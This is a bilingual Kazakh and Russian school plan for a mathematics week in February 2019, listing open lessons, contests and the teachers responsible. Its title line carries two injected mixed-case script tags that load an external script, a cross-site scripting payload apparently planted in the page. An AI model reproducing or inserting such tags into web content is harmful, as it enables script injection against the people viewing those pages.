Математика апталығы<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
18.02.2019
Утверждаю
директор школы
Саликов Е.З.
Гранитный негізігі мектебі, математика апталығының жоспары/
План недели математики, Гранитная ОШ
Өтетін мерзімі/Сроки проведения: 18 – 22 ақпан/18 – 22 февраля
Апта мақсаты: математика пәнінен білімдерін кеңейту, білімдерін өмірде қолдануға үйрену, математикаға деген қызығушылығын арттыру. Өткен күннен өнеге ала отырып, болашаққа бағдар жасай білуге, тарихын құрметтеп, қадір тұтуға тәрбиелеу, ата-аналар мен мектеп арасындағы байланысты нығайту.
Цель недели: расширение знаний по математике, развитие умения реализовывать полученные знания в практической деятельности, повышение интереса учащихся к предмету «Математика». Воспитание патриотизма. Укрепление взаимосвязи школы с родительской общественностью.
|
№ |
Іс-шаралар/ мероприятия |
Өтетін мерзімі/ сроки проведения |
Жауапты / ответственный |
|
1 |
Математика апталығының ашылуы. Открытие недели математики.
2.Звездный час –внеклассное мероприятие 5-6 класс |
18.02.2019 большая перемена
15.00
|
Сыздыкова К.Ж. Тулекова С.Т.
Сыздыкова К.Ж.
|
|
2 |
1.Открытый урок по математике в 5 классе 2.Ребустар, газеттер, кроссвордтар сайысы/ конкурс ребусов, газет и кроссвордов |
19.02.2019 5 урок 18-22.02.2019 |
Сыздыкова К.Ж.
Тулекова С.Т.
|
|
3 |
1. Ашық сабақ математика 6 сынып
2. Внеклассное мероприятие между учениками и учителями школы «Математический КВН» |
20.02.2019 2 сабақ 16.00
|
Тулекова С.Т.
Сыздыкова К.Ж.
|
|
4 |
1.Открытый урок по геометрии в 7 классе
2. Сыныптан тыс іс-шара « Жас математиктер» 5-6 сыныптар |
21.02.2019 5 урок 16.00 |
Сыздыкова К.Ж.
Тулекова С.Т |
|
5 |
1. Ашық сабақ математика 5 сынып
2. «Счастливый случай»– внеклассное мероприятие 7-8 класс |
22.02.2019 6 сабақ 16.00 |
Тулекова С.Т
Сыздыкова К.Ж.
|
|
6 |
Апта қорытындылары/ итоги недели |
Апта соңында Всю неделю |
Сыздыкова К.Ж. Тулекова С.Т |
|
7 |
Апта іс-шараларын мектеп сайтына жариялау/ Размещение материалов недели на сайте школы |
Апта бойы Всю неделю |
Сыздыкова К.Ж.
|